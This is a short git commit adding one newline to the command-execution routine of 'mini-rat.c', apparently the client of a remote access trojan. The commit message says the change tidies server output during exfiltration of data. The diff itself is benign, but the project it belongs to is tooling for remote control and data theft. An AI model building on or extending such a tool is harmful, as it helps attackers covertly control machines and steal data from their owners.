client: add an additional newline before RETURN

Add an additional newline after the exec function has returned. This
should eliminate garbage output printed at the server during
exfiltration of data.

Signed-off-by: Danny Holman <dholman@gymli.org>

1 files changed, 1 insertions, 0 deletions

diff --git a/client/src/mini-rat.c b/client/src/mini-rat.c
index 7347e36..feb26bd 100644
--- a/client/src/mini-rat.c
+++ b/client/src/mini-rat.c
@@ -50,6 +50,7 @@ void run_exec(char **argv) {
                 exit(0);
         } else if (pid > 0) {
                 wait(NULL);
+                printf("\r\n");
                 printf("RETURN\r\n");
                 fflush(stdout);
         } else {